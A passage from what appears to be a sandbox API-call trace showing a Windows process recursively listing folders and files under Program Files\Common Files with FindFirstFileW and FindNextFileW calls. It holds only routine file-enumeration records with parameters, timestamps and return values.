nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0050.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.885] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.885] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0050.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.885] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.885] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0050.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0050.886] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.886] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2d5eafc | out: lpFindFileData=0x2d5eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.887] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5eafc | out: lpFindFileData=0x2d5eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.887] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5eafc | out: lpFindFileData=0x2d5eafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0050.887] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.887] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.887] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0051.602] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0051.602] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0052.294] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0052.294] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0052.294] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0052.294] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0052.294] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0052.294] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0052.294] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0052.294] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0052.294] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0052.299] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0052.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0052.299] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.299] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0052.299] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0052.299] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0052.300] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0052.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0052.300] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.300] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0052.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0052.300] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.300] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0052.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0052.301] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.301] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0052.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0052.301] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.303] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0052.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2d5eafc | out: lpFindFileData=0x2d5eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0052.303] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5eafc | out: lpFindFileData=0x2d5eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.303] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5eafc | out: lpFindFileData=0x2d5eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.303] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0052.303] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0052.303] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0052.891] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0054.143] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0054.143] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0054.143] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0054.143] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0054.964] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0055.443] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0055.798] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0055.798] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0055.798] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 